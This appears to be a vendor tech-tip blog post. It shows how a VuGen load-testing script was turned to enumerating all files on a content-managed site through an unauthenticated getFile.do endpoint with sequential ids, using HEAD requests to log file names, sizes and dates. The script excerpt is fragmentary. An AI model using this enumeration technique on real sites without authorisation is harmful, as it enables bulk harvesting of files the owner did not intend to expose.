Harvesting file names with VuGen

benefits of JDS active robot monitoring

VuGen isn't just a tool for load testing and application monitoring, it can be used to automate any repetitive task on a web application.

In this example, a JDS web security expert had found that a page on a content-managed website allowed anyone to request any file in the database (http://www.example.com/FileViewer/getFile.do?id=1449 ).

It was easy to create a simple VuGen script to compile a list of all the files in the database.

The HTTP request looked like...

GET /FileViewer/getFile.do?id=1449 HTTP/1.1
Accept: */*
Accept-Language: en-us
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 3.5.30729)
Host: www.example.com
Connection: Keep-Alive

The following HTTP response was returned...

HTTP/1.1 200 OK
Content-Length: 1777617
Cache-Control: private
Content-Disposition: download;filename="MBS Axapta V3.0 - Advanced Finance.pdf";
Content-Type: application/pdf
Set-Cookie: JSESSIONID=8a4d179c30da5e59; path=/FileViewer
Connection: Keep-Alive
Keep-Alive: timeout=7, max=999
Server: Oracle-Application-Server-10g/ Oracle-HTTP-Server
Last-Modified: Wed, 16 Aug 2006 03:19:45 GMT
Date: Tue, 13 Jan 2009 00:03:54 GMT
Content-Location: http://www.example.com/FileViewer/WEB-INF/jsps/components/getFile.jsp

758 0 obj
/Linearized 1 
(the rest of the PDF content in the HTTP response body has been removed)

As the file name, file size and last modified date was available in the HTTP response header, it is not necessary to download the entire file to compile a list of file names. We can use the HTTP HEAD method instead of GET.

Here is the VuGen script that (after 10000 iterations) saved the information about all the files in the content management system.

    char* file = "C:\\TEMP\\content_management_files.txt";

        "LB=Content-Disposition: download;filename=\"",

        "LB=Content-Length: ",

        "LB=Last-Modified: ",


    // Only save info for valid files
    if (web_get_int_property(HTTP_INFO_RETURN_CODE) == 200) {
        jds_append_to_file(file, lr_eval_string("{IterationNumber}\t{FileSize}\t{FileDate}\t{FileName}\n"));

    return 0;

Tech tips from JDS